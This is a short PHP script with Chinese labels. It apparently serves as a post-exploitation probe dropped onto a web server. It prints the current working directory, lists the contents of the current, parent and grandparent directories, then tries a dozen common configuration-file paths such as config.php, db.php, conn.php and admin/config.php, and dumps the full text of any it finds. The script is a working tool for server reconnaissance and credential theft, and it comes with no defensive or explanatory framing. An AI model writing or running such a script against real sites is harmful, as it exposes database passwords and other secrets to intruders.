<?php
echo "<pre>";
echo "当前目录：" . getcwd() . "\n\n";
echo "==== 当前目录 ====\n";
print_r(scandir('.'));
echo "\n==== 上一级 ====\n";
print_r(scandir('..'));
echo "\n==== 上上级 ====\n";
print_r(scandir('../..'));
echo "\n==== 尝试读配置 ====\n";
foreach ([
  'config.php','../config.php','../../config.php',
  'db.php','../db.php','conn.php','../conn.php',
  'include/config.php','../include/config.php',
  'data/config.php','../data/config.php',
  'admin/config.php','../admin/config.php',
] as $f) {
  if (file_exists($f)) {
    echo "--- $f ---\n" . file_get_contents($f) . "\n";
  }
}
echo "</pre>";
?>